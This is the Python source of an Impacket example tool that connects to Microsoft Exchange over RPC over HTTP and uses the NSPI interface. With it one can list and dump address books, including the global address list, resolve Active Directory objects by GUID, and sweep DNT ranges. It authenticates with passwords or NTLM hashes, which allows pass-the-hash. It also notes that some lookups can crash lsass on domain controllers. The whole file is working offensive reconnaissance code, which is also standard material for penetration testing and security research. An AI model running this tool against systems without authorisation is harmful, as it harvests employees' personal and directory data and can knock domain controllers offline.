#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # A tool for connecting to MS Exchange via RPC over HTTP v2 # # Notes about -rpc-hostname: # Our RPC over HTTP v2 implementation tries to extract the # target's NetBIOS name via NTLMSSP and use it as RPC Server name. # If it fails, you have to manually get the target RPC Server name # from the Autodiscover service and set it in the -rpc-hostname parameter. # # Author: # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # # References: # - https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/ # from __future__ import print_function import base64 import codecs import logging import argparse import binascii import sys from six import PY3 from impacket import uuid, version from impacket.http import AUTH_BASIC from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.structure import parse_bitmask from impacket.dcerpc.v5 import transport, nspi from impacket.mapi_constants import PR_CONTAINER_FLAGS_VALUES, MAPI_PROPERTIES from impacket.dcerpc.v5.nspi import CP_TELETEX, ExchBinaryObject, \ get_guid_from_dn, get_dn_from_guid from impacket.dcerpc.v5.rpch import RPC_PROXY_REMOTE_NAME_NEEDED_ERR, \ RPC_PROXY_HTTP_IN_DATA_401_ERR, RPC_PROXY_CONN_A1_0X6BA_ERR, \ RPC_PROXY_CONN_A1_404_ERR, RPC_PROXY_RPC_OUT_DATA_404_ERR, \ RPC_PROXY_CONN_A1_401_ERR PY37ORHIGHER = sys.version_info >= (3, 7) PR_CONTAINER_FLAGS = 0x36000003 PR_ENTRYID = 0x0fff0102 PR_DEPTH = 0x30050003 PR_EMS_AB_IS_MASTER = 0xfffb000B PR_EMS_AB_CONTAINERID = 0xfffd0003 PR_EMS_AB_PARENT_ENTRYID = 0xfffc0102 PR_DISPLAY_NAME = 0x3001001F PR_EMS_AB_OBJECT_GUID = 0x8c6d0102 PR_INSTANCE_KEY = 0x0ff60102 DELIMITER = "=======================" class Exchanger: def __init__(self): self._username = '' self._password = '' self._domain = '' self._lmhash = '' self._nthash = '' self._extended_output = False self._output_type = 'hex' self._stringbinding = None self._rpctransport = None self.__outputFileName = None self.__outputFd = None def conenct_mapi(self): raise NotImplementedError('Virtual method. Not implemented in subclass!') def connect_rpc(self): raise NotImplementedError('Virtual method. Not implemented in subclass!') def load_autodiscover(self): # This should be implemented only as optional, # and the implementation should support processing emails # which do not belong to the used for the authentication account raise NotImplementedError('Not Implemented!') def set_credentials(self, username='', password='', domain='', hashes=None): self._username = username self._password = password self._domain = domain self._lmhash = '' self._nthash = '' if hashes is not None: self._lmhash, self._nthash = hashes.split(':') def set_extended_output(self, output_mode): self._extended_output = output_mode def set_output_type(self, output_type): self._output_type = output_type def set_output_file(self, filename): self.__outputFileName = filename self.__outputFd = open(self.__outputFileName, 'w+') def print(self, text): if self.__outputFd != None: if PY3: self.__outputFd.write(text + '\n') else: self.__outputFd.write((text + '\n').encode('utf-8')) print(text) def _encode_binary(self, bytestr): if PY3 and self._output_type == "hex": return "0x%s" % str(binascii.hexlify(bytestr), 'ascii') elif self._output_type == "hex": return "0x%s" % binascii.hexlify(bytestr) elif PY3: return str(base64.b64encode(bytestr), 'ascii') else: return base64.b64encode(bytestr) def __del__(self): if self.__outputFd != None: self.__outputFd.close() self.__outputFd = None class NSPIAttacks(Exchanger): PROPS_GUID = [PR_EMS_AB_OBJECT_GUID] PROPS_MINUMAL = [ 0x3a00001F, # mailNickname 0x39fe001F, # mail 0x80270102, # objectSID 0x30070040, # whenCreated 0x30080040, # whenChanged 0x8c6d0102, # objectGUID ] PROPS_EXTENDED = PROPS_MINUMAL + [ # Names 0x3a0f001f, # cn 0x8202001f, # name 0x0fff0102, # PR_ENTRYID 0x3001001f, # PR_DISPLAY_NAME 0x3a20001f, # PR_TRANSMITABLE_DISPLAY_NAME 0x39ff001f, # displayNamePrintable 0x800f101f, # proxyAddresses 0x8171001f, # lDAPDisplayName 0x8102101f, # ou 0x804b001F, # adminDisplayName # Text Properties 0x806f101f, # description 0x3004001f, # info 0x8069001f, # c 0x3a26001f, # co 0x3a2a001f, # postalCode 0x3a28001f, # st 0x3a29001f, # streetAddress 0x3a09001f, # homePhone 0x3a1c001f, # mobile 0x3a1b101f, # otherTelephone 0x3a16001f, # company 0x3a18001f, # department 0x3a17001f, # title 0x3a11001f, # sn 0x3a0a001f, # initials 0x3a06001f, # givenName # Attributes of Types 0x0ffe0003, # PR_OBJECT_TYPE 0x39000003, # PR_DISPLAY_TYPE 0x80bd0003, # instanceType # Exchange Extension Attributes 0x802d001F, # extensionAttribute1 0x802e001F, # extensionAttribute2 0x802f001F, # extensionAttribute3 0x8030001F, # extensionAttribute4 0x8031001F, # extensionAttribute5 0x8032001F, # extensionAttribute6 0x8033001F, # extensionAttribute7 0x8034001F, # extensionAttribute8 0x8035001F, # extensionAttribute9 0x8036001F, # extensionAttribute10 0x8c57001F, # extensionAttribute11 0x8c58001F, # extensionAttribute12 0x8c59001F, # extensionAttribute13 0x8c60001F, # extensionAttribute14 0x8c61001F, # extensionAttribute15 # 0x8c9e0102, # thumbnailPhoto, large # Configuration 0x81b6101e, # protocolSettings 0x8c9f001e, # msExchUserCulture 0x8c730102, # msExchMailboxGuid 0x8c96101e, # msExchResourceAddressLists, exists only for Exchange Organization object 0x8c750102, # msExchMasterAccountSid 0x8cb5000b, # msExchEnableModeration 0x8cb30003, # msExchGroupJoinRestriction 0x8ce20003, # msExchGroupMemberCount # Useful when lookuping DNTs 0x813b101e, # subRefs 0x8170101e, # networkAddress 0x8011001e, # targetAddress 0x8175101e, # url # Useful for distinguishing accounts 0x8c6a1102, # userCertificate # Assigned MId 0x0ff60102, # PR_INSTANCE_KEY ] # MS-OXNSPI # 2.1 Transport # For the network protocol sequence RPC over HTTPS, # this protocol MUST use the well-known endpoint 6004. DEFAULT_STRING_BINDING = 'ncacn_http:%s[6004,RpcProxy=%s:443]' def __init__(self): Exchanger.__init__(self) self.__handler = None self.htable = {} self.anyExistingContainerID = -1 self.props = list() self.stat = nspi.STAT() self.stat['CodePage'] = nspi.CP_TELETEX def connect_rpc(self, remoteName, rpcHostname=''): self._stringbinding = self.DEFAULT_STRING_BINDING % (rpcHostname, remoteName) logging.debug('StringBinding %s' % self._stringbinding) self._rpctransport = transport.DCERPCTransportFactory(self._stringbinding) self._rpctransport.set_credentials(self._username, self._password, self._domain, self._lmhash, self._nthash) self.__dce = self._rpctransport.get_dce_rpc() # MS-OXNSPI # 3.1.4 Message Processing Events and Sequencing Rules # # This protocol MUST indicate to the RPC runtime that it # is to perform a strict Network Data Representation (NDR) data # consistency check at target level 6.0, as specified in [MS-RPCE]. self.__dce.set_credentials(self._username, self._password, self._domain, self._lmhash, self._nthash) self.__dce.set_auth_level(6) self.__dce.connect() self.__dce.bind(nspi.MSRPC_UUID_NSPI) resp = nspi.hNspiBind(self.__dce, self.stat) self.__handler = resp['contextHandle'] def update_stat(self, table_MId): stat = nspi.STAT() stat['CodePage'] = CP_TELETEX stat['ContainerID'] = NSPIAttacks._int_to_dword(table_MId) resp = nspi.hNspiUpdateStat(self.__dce, self.__handler, stat) self.stat = resp['pStat'] def load_htable(self): resp = nspi.hNspiGetSpecialTable(self.__dce, self.__handler) resp_simpl = nspi.simplifyPropertyRowSet(resp['ppRows']) self._parse_and_set_htable(resp_simpl) def load_htable_stat(self): for MId in self.htable: self.update_stat(MId) self.htable[MId]['count'] = self.stat['TotalRecs'] self.htable[MId]['start_mid'] = self.stat['CurrentRec'] def load_htable_containerid(self): if self.anyExistingContainerID != -1: return if self.htable == {}: self.load_htable() for MId in self.htable: self.update_stat(MId) if self.stat['CurrentRec'] > 0: self.anyExistingContainerID = NSPIAttacks._int_to_dword(MId) return def _parse_and_set_htable(self, htable): self.htable = {} for ab in htable: MId = ab[PR_EMS_AB_CONTAINERID] self.htable[MId] = {} self.htable[MId]['flags'] = ab[PR_CONTAINER_FLAGS] if MId == 0: self.htable[0]['name'] = "Default Global Address List" else: self.htable[MId]['name'] = ab[PR_DISPLAY_NAME] self.htable[MId]['guid'] = get_guid_from_dn(ab[PR_ENTRYID]) if PR_EMS_AB_PARENT_ENTRYID in ab: self.htable[MId]['parent_guid'] = get_guid_from_dn(ab[PR_EMS_AB_PARENT_ENTRYID]) if PR_DEPTH in ab: self.htable[MId]['depth'] = ab[PR_DEPTH] else: self.htable[MId]['depth'] = 0 if PR_EMS_AB_IS_MASTER in ab: self.htable[MId]['is_master'] = ab[PR_EMS_AB_IS_MASTER] else: self.htable[MId]['is_master'] = 0 @staticmethod def _int_to_dword(number): if number > 0: return number else: return (number + (1 << 32)) % (1 << 32) def print_htable(self, parent_guid=None): MIds_print = [] for MId in self.htable: if parent_guid == None and 'parent_guid' not in self.htable[MId]: MIds_print.append(MId) elif parent_guid != None and 'parent_guid' in self.htable[MId] and self.htable[MId]['parent_guid'] == parent_guid: MIds_print.append(MId) for MId in MIds_print: ab = self.htable[MId] ab['printed'] = True indent = ' ' * ab['depth'] # Table name print("%s%s" % (indent, ab['name'])) # Count if 'count' in ab: print("%sTotalRecs: %d" % (indent, ab['count'])) # Table params if MId != 0: guid = uuid.bin_to_string(ab['guid']).lower() print("%sGuid: %s" % (indent, guid)) else: print("%sGuid: None" % indent) if ab['is_master'] != 0: print("%sPR_EMS_AB_IS_MASTER attribute is set!" % indent) if self._extended_output: dword = NSPIAttacks._int_to_dword(MId) print("%sAssigned MId: 0x%.08X (%d)" % (indent, dword, MId)) if 'start_mid' in ab: dword = NSPIAttacks._int_to_dword(ab['start_mid']) if dword == 2: print("%sAssigned first record MId: 0x00000002 (MID_END_OF_TABLE)" % indent) else: print("%sAssigned first record MId: 0x%.08X (%d)" % (indent, dword, ab['start_mid'])) flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, ab['flags']) print("%sFlags: %s" % (indent, flags)) print() if MId != 0: self.print_htable(parent_guid=ab['guid']) if parent_guid == None: for MId in self.htable: if self.htable[MId]['printed'] == False: print("Found parentless object!") print("Name: %s" % self.htable[MId]['name']) print("Guid: %s" % uuid.bin_to_string(self.htable[MId]['guid']).lower()) print("Parent guid: %s" % uuid.bin_to_string(self.htable[MId]['parent_guid']).lower()) dword = NSPIAttacks._int_to_dword(MId) if MId < 0 else MId print("Assigned MId: 0x%.08X (%d)" % (dword, MId)) flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, self.htable[MId]['flags']) print("Flags: %s" % flags) if self.htable[MId]['is_master'] != 0: print("%sPR_EMS_AB_IS_MASTER attribute is set!" % indent) print() def disconnect(self): nspi.hNspiUnbind(self.__dce, self.__handler) self.__dce.disconnect() def print_row(self, row_simpl, delimiter=None): empty = True for aulPropTag in row_simpl: PropertyId = aulPropTag >> 16 PropertyType = aulPropTag & 0xFFFF # Error, e.g. MAPI_E_NOT_FOUND if PropertyType == 0x000A: continue # PtypEmbeddedTable if PropertyType == 0x000D: continue empty = False if PropertyId in MAPI_PROPERTIES: property_name = MAPI_PROPERTIES[PropertyId][1] if property_name is None: property_name = MAPI_PROPERTIES[PropertyId][5] if property_name is None: property_name = MAPI_PROPERTIES[PropertyId][6] else: property_name = "0x%.8x" % aulPropTag if self._extended_output: property_name = "%s, 0x%.8x" % (property_name, aulPropTag) if isinstance(row_simpl[aulPropTag], ExchBinaryObject): self.print("%s: %s" % (property_name, self._encode_binary(row_simpl[aulPropTag]))) else: self.print("%s: %s" % (property_name, row_simpl[aulPropTag])) if empty == False and delimiter != None: self.print(delimiter) def load_props(self): if len(self.props) > 0: return resp = nspi.hNspiQueryColumns(self.__dce, self.__handler) for prop in resp['ppColumns']['aulPropTag']: PropertyTag = prop['Data'] PropertyType = PropertyTag & 0xFFFF if PropertyType == 0x000D: # Skipping PtypEmbeddedTable to reduce traffic continue self.props.append(PropertyTag) def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, onlyCheck=False): printOnlyGUIDs = False useAsExplicitTable = False if self.anyExistingContainerID == -1: self.load_htable_containerid() if table_MId == None and eTable == None: raise Exception("Wrong arguments!") elif table_MId != None and eTable != None: raise Exception("Wrong arguments!") elif table_MId != None: # Let's call NspiUpdateStat # It's important when the given MId is taken from the hierarchy table, # especially in Multi-Tenant environments self.update_stat(table_MId) # Table end reached if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE: # Returning False to support onlyCheck return False else: # eTable != None useAsExplicitTable = True if attrs == self.PROPS_GUID: # GUIDS firstReqProps = self.PROPS_GUID printOnlyGUIDs = True elif attrs == self.PROPS_MINUMAL: # MINIMAL firstReqProps = self.PROPS_MINUMAL elif attrs == []: # FULL # Requesting a list of all the properties that the server knows if self.props == []: self.load_props() attrs = self.props # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds, # and then use them as an Explicit Table firstReqProps = [PR_INSTANCE_KEY] useAsExplicitTable = True else: # EXTENDED and custom # # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds, # and then use them as an Explicit Table firstReqProps = [PR_INSTANCE_KEY] useAsExplicitTable = True if onlyCheck: attrs = self.PROPS_GUID firstReqProps = self.PROPS_GUID useAsExplicitTable = True while True: if eTable == None: resp = nspi.hNspiQueryRows(self.__dce, self.__handler, pStat=self.stat, Count=count, pPropTags=firstReqProps) self.stat = resp['pStat'] try: # Addressing to PropertyRowSet_r must be inside try / except, # as if the server returned a wrong result, it can be in # multiple of forms, and we cannot easily determine it # before parsing resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows']) except Exception as e: resp.dumpRaw() logging.error(str(e)) raise Exception("NspiQueryRows returned wrong result") if onlyCheck: if len(resp_rows) == 0: return False for row in resp_rows: # PropertyId = 0x8C6D (objectGUID) # PropertyType = 0x000A (error) if 0x8C6D000A not in row: return True return False if useAsExplicitTable: if eTable == None: eTableInt = [] for row in resp_rows: eTableInt.append(row[PR_INSTANCE_KEY]) else: eTableInt = eTable resp = nspi.hNspiQueryRows(self.__dce, self.__handler, ContainerID=self.anyExistingContainerID, Count=count, pPropTags=attrs, lpETable=eTableInt) try: # Addressing to PropertyRowSet_r must be inside try / except, # as if the server returned a wrong result, it can be in # multiple of forms, and we cannot easily determine it # before parsing resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows']) except Exception as e: resp.dumpRaw() logging.error(str(e)) raise Exception("NspiQueryRows returned wrong result while processing explicit table") if onlyCheck: if len(resp_rows) == 0: return False for row in resp_rows: # PropertyId = 0x8C6D (objectGUID) # PropertyType = 0x000A (error) if 0x8C6D000A not in row: return True return False if printOnlyGUIDs: for row in resp_rows: if PR_EMS_AB_OBJECT_GUID in row: objectGuid = row[PR_EMS_AB_OBJECT_GUID] self.print(objectGuid) else: # Empty row (wrong MId) pass else: for row in resp_rows: self.print_row(row, DELIMITER) # When the caller specified eTable it's always one NspiQueryRows call if eTable != None: break # Table end reached # It also MUST be checked after NspiUpdateStat if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE: break # This should not happen if len(resp_rows) == 0: break def req_print_guid(self, guid=None, attrs=[], count=50, guidFile=None): if guid == None and guidFile == None: raise Exception("Wrong arguments!") elif guid != None and guidFile != None: raise Exception("Wrong arguments!") if attrs == []: # Requesting a list of all the properties that the server knows if self.props == []: self.load_props() attrs = self.props if guid: printedLines = self._req_print_guid([guid], attrs) if printedLines == 0: raise Exception("Object with specified GUID not found!") return fd = open(guidFile, 'r') line = fd.readline() while True: guidList = [] # EOF if line == '': break # Reading N lines from the file for i in range(count): line = fd.readline() guid = line.strip() if guid == '' or line[0] == '#': continue guidList.append(guid) # Multiple empty lines or EOF if len(guidList) == 0: continue # Processing self._req_print_guid(guidList, attrs, DELIMITER) fd.close() def _req_print_guid(self, guidList, attrs, delimiter=None): legacyDNList = [] for guid in guidList: legacyDNList.append(get_dn_from_guid(guid, minimize=True)) resp = nspi.hNspiResolveNamesW(self.__dce, self.__handler, pPropTags=attrs, paStr=legacyDNList) try: # Addressing to PropertyRowSet_r must be inside try / except, # as if the server returned a wrong result, it can be in # multiple of forms, and we cannot easily determine it # before parsing if resp['ppRows']['cRows'] <= 0: return 0 # Addressing to PropertyRowSet_r must be inside try / except, # as if the server returned a wrong result, it can be in # multiple of forms, and we cannot easily determine it # before parsing resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows']) except Exception as e: resp.dumpRaw() logging.error(str(e)) raise Exception("NspiResolveNamesW returned wrong result") for row in resp_rows: self.print_row(row, delimiter) return resp['ppRows']['cRows'] def req_print_dnt(self, start_dnt, stop_dnt, attrs=[], count=50, checkIfEmpty=False): if count <= 0 or start_dnt < 0 or stop_dnt < 0 or stop_dnt > 0xFFFFFFFF or start_dnt > 0xFFFFFFFF: raise Exception("Wrong arguments!") if stop_dnt >= start_dnt: step = count rstep = 1 else: step = -count rstep = -1 stop_dnt += rstep dnt1 = start_dnt dnt2 = start_dnt + step while True: if step > 0 and dnt2 > stop_dnt: dnt2 = stop_dnt elif step < 0 and dnt2 < stop_dnt: dnt2 = stop_dnt self.print("# MIds %d-%d:" % (dnt1, dnt2 - rstep)) if checkIfEmpty: # Speed up the process by reducing the length of request/response exists = self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep), onlyCheck=True) if exists: self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep)) else: self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep)) if dnt2 == stop_dnt: break dnt1 += step dnt2 += step class ExchangerHelper: def __init__(self, domain, username, password, remoteName): self.__domain = domain self.__username = username self.__password = password self.__remoteName = remoteName self.exch = None def run(self, options): module = options.module.lower() submodule = options.submodule.lower() if module == 'nspi': # Checking options before connecting to the server self.nspi_check(submodule, options) self.nspi_run(submodule, options) else: raise Exception("%s module not found" % module) def nspi_run(self, submodule, options): self.exch = NSPIAttacks() self.exch.set_credentials(self.__username, self.__password, self.__domain, options.hashes) self.exch.set_extended_output(options.debug) if submodule in ['dump-tables', 'guid-known', 'dnt-lookup'] and options.output_file != None: self.exch.set_output_file(options.output_file) self.exch.connect_rpc(self.__remoteName, options.rpc_hostname) if submodule == 'list-tables': self.nspi_list_tables(options) elif submodule == 'dump-tables': self.nspi_dump_tables(options) elif submodule == 'guid-known': self.nspi_guid_known(options) elif submodule == 'dnt-lookup': self.nspi_dnt_lookup(options) self.exch.disconnect() def nspi_check(self, submodule, options): if submodule == 'dump-tables' and options.name == None and options.guid == None: dump_tables.print_help() sys.exit(1) if submodule == 'dump-tables' and options.name != None and options.guid != None: logging.error("Specify only one of -name or -guid") sys.exit(1) if submodule == 'guid-known' and options.guid == None and options.guid_file == None: guid_known.print_help() sys.exit(1) if submodule == 'guid-known' and options.guid != None and options.guid_file != None: logging.error("Specify only one of -guid or -guid-file") sys.exit(1) def nspi_list_tables(self, options): self.exch.load_htable() if options.count: self.exch.load_htable_stat() self.exch.print_htable() def nspi_dump_tables(self, options): self.exch.set_output_type(options.output_type) if options.lookup_type == None or options.lookup_type == 'MINIMAL': propTags = NSPIAttacks.PROPS_MINUMAL elif options.lookup_type == 'EXTENDED': propTags = NSPIAttacks.PROPS_EXTENDED elif options.lookup_type == 'GUIDS': propTags = NSPIAttacks.PROPS_GUID else: # FULL propTags = [] if options.name != None and options.name.lower() in ['gal', 'default global address list', 'global address list']: logging.info("Lookuping Global Address List") table_MId = 0 else: # 2.2.8 # The client obtains Minimal Entry IDs for STAT ContainerID # from the server's address book hierarchy table # # We cannot convert the GUID to a MId via NspiDNToMId or similar operations because it # may not work in Multi-Tenant environments self.exch.load_htable() if options.guid != None: logging.info("Search for an address book with objectGUID = %s" % options.guid) guid = uuid.string_to_bin(options.guid) name = None else: guid = None name = options.name table_MId = 0 for MId in self.exch.htable: if MId == 0: # GAL continue if guid is not None: # -guid if self.exch.htable[MId]['guid'] == guid: logging.debug("MId %d is assigned for %s object" % (MId, options.guid)) logging.info("Lookuping %s" % self.exch.htable[MId]['name']) table_MId = MId break else: # -name if self.exch.htable[MId]['name'] == name: guid = uuid.bin_to_string(self.exch.htable[MId]['guid']) logging.debug("MId %d is assigned for %s object" % (MId, guid)) logging.info("Lookuping address book with objectGUID = %s" % guid) table_MId = MId break if table_MId == 0: logging.error("Specified address book not found!") sys.exit(1) self.exch.req_print_table_rows(table_MId, propTags, options.rows_per_request) def nspi_guid_known(self, options): self.exch.set_output_type(options.output_type) if options.lookup_type == None or options.lookup_type == 'MINIMAL': propTags = NSPIAttacks.PROPS_MINUMAL elif options.lookup_type == 'EXTENDED': propTags = NSPIAttacks.PROPS_EXTENDED else: # FULL propTags = [] if options.guid != None: self.exch.req_print_guid(options.guid, propTags) else: self.exch.req_print_guid(attrs=propTags, count=options.rows_per_request, guidFile=options.guid_file) def nspi_dnt_lookup(self, options): if options.lookup_type == None or options.lookup_type == 'EXTENDED': propTags = NSPIAttacks.PROPS_EXTENDED elif options.lookup_type == 'GUIDS': propTags = NSPIAttacks.PROPS_GUID else: # FULL propTags = [] self.exch.req_print_dnt(options.start_dnt, options.stop_dnt, attrs=propTags, count=options.rows_per_request, checkIfEmpty=True) # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print(version.BANNER) class SmartFormatter(argparse.HelpFormatter): def _split_lines(self, text, width): if text.startswith('R|'): return text[2:].splitlines() else: return argparse.HelpFormatter._split_lines(self, text, width) def localized_arg(bytestring): unicode_string = bytestring.decode(sys.getfilesystemencoding()) return unicode_string parser = argparse.ArgumentParser(add_help=True, description="A tool to abuse Exchange services") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-debug', action='store_true', help='Turn DEBUG and EXTENDED output ON') #parser.add_argument('-transport', choices=['RPC', 'MAPI'], nargs='?', default='RPC', help='Protocol to use') parser.add_argument('-rpc-hostname', action='store', help='A name of the server in GUID (preferred) ' 'or NetBIOS name format (see description in the beggining of this file)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if PY37ORHIGHER: subparsers = parser.add_subparsers(help='A module name', dest='module', required=True) else: subparsers = parser.add_subparsers(help='A module name', dest='module') # NSPI module nspi_parser = subparsers.add_parser('nspi', help='Attack NSPI interface') # Attacks for NSPI protocol if PY37ORHIGHER: nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule', required=True) else: nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule') list_tables = nspi_attacks.add_parser('list-tables', help='List Address Books') list_tables.add_argument('-count', action='store_true', help='Request total number of records in each table') dump_tables = nspi_attacks.add_parser('dump-tables', formatter_class=SmartFormatter, help='Dump Address Books') dump_tables.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='MINIMAL', help='R|Lookup type:\n' ' MINIMAL - Request limited set of fields (default)\n' ' EXTENDED - Request extended set of fields\n' ' FULL - Request all fields for each row\n' ' GUIDS - Request only GUIDs') dump_tables.add_argument('-rows-per-request', action='store', type=int, metavar="50", default=50, help='Limit the number of rows per request') if PY3: dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)') else: dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)', type=localized_arg) dump_tables.add_argument('-guid', action='store', help='Dump table with the specified GUID') dump_tables.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex', help='Output format for binary objects') dump_tables.add_argument('-output-file', action='store', help='Output filename') guid_known = nspi_attacks.add_parser('guid-known', formatter_class=SmartFormatter, help='Retrieve Active Directory objects by GUID / GUIDs') guid_known.add_argument('-guid', action='store', help='Dump object with the specified GUID') guid_known.add_argument('-guid-file', action='store', help='Dump objects using GUIDs from file') guid_known.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL'], nargs='?', default='MINIMAL', help='R|Lookup type:\n' ' MINIMAL - Request limited set of fields (default)\n' ' EXTENDED - Request extended set of fields\n' ' FULL - Request all fields for each row') guid_known.add_argument('-rows-per-request', action='store', type=int, metavar="50", default=50, help='Limit the number of rows per request') guid_known.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex', help='Output format for binary objects') guid_known.add_argument('-output-file', action='store', help='Output filename') dnt_lookup = nspi_attacks.add_parser('dnt-lookup', formatter_class=SmartFormatter, help='Lookup Distinguished Name Tags') dnt_lookup.add_argument('-lookup-type', choices=['EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='EXTENDED', help='R|Lookup type:\n' ' EXTENDED - Request extended set of fields (default)\n' ' FULL - Request all fields for each row\n' ' GUIDS - Request only GUIDs') dnt_lookup.add_argument('-rows-per-request', action='store', type=int, metavar="350", default=350, help='Limit the number of rows per request') dnt_lookup.add_argument('-start-dnt', action='store', type=int, metavar="500000", default=500000, help='A DNT to start from') dnt_lookup.add_argument('-stop-dnt', action='store', type=int, metavar="0", default=0, help='A DNT to lookup to') dnt_lookup.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex', help='Output format for binary objects') dnt_lookup.add_argument('-output-file', action='store', help='Output filename') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") if options.rpc_hostname == '': # Preventing false feedback that empty hostname means something for Exchange # For autodetect -rpc-hostname should be skipped logging.error("-rpc-hostname cannot be empty") sys.exit(1) if options.rpc_hostname is None: # Autodetect options.rpc_hostname = '' try: exchHelper = ExchangerHelper(domain, username, password, remoteName) exchHelper.run(options) except KeyboardInterrupt: logging.error("KeyboardInterrupt") except Exception as e: #raise # This may contain UTF-8 error_text = 'Protocol failed: %s' % e logging.critical(error_text) if 'NspiQueryRows returned wrong result' in error_text and \ options.submodule.lower() == 'dnt-lookup': logging.critical("Most likely ntdsai.dll in lsass.exe has crashed " "on a Domain Controller while processing a DNT which " "does not support to be requested via MS-NSPI. " "The DC is probably rebooting. " "This can happend in Multi-Tenant Environment. " "You can try to request different DNT range") if 'Connection reset by peer' in error_text and \ exchHelper.exch._rpctransport.rts_ping_received == True and \ options.submodule.lower() == 'dnt-lookup': logging.critical("Most likely ntdsai.dll in lsass.exe has crashed " "on a Domain Controller while processing a DNT which " "does not support to be requested via MS-NSPI. " "The DC is probably rebooting. " "This can happend in Multi-Tenant Environment. " "You can try to request different DNT range") # This usually happens when the target is RDG # Probably may happen for Exchange 2003 / 2007 / 2010 if RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: logging.critical("This usually means the target has no ACL to connect to " "this endpoint using RPC Proxy") logging.critical("Is the server a MS Exchange?") if options.rpc_hostname == '': logging.critical("Try to specify -rpc-hostname (see description in the " "beggining of this file)") else: logging.critical("Try to specify different -rpc-hostname, or enumerate " "endpoints via rpcmap.py / rpcdump.py") # It's Exchange or Exchange behind TMG, but the RPC Server name is wrong if RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ RPC_PROXY_CONN_A1_404_ERR in error_text: if options.rpc_hostname == '': logging.critical("Cannot determine the right RPC Server name. Specify -rpc-hostname " "(see description in the beggining of this file)") else: logging.critical("The specified RPC Server is incorrect. " "Try to specify different -rpc-hostname") if RPC_PROXY_REMOTE_NAME_NEEDED_ERR in error_text: logging.critical("Specify -rpc-hostname (see description in the beggining of this file)") # Wrong credentials if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text: logging.critical("Wrong credentials!") # Show a reminder if Basic if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text: if exchHelper.exch._rpctransport.get_auth_type() == AUTH_BASIC and domain == '': logging.critical("The server requested Basic authentication which " "may require you to specify the domain. " "Your domain is empty!") if RPC_PROXY_CONN_A1_401_ERR in error_text or \ RPC_PROXY_CONN_A1_404_ERR in error_text: logging.info("A proxy in front of the target server detected (may be WAF / SIEM)")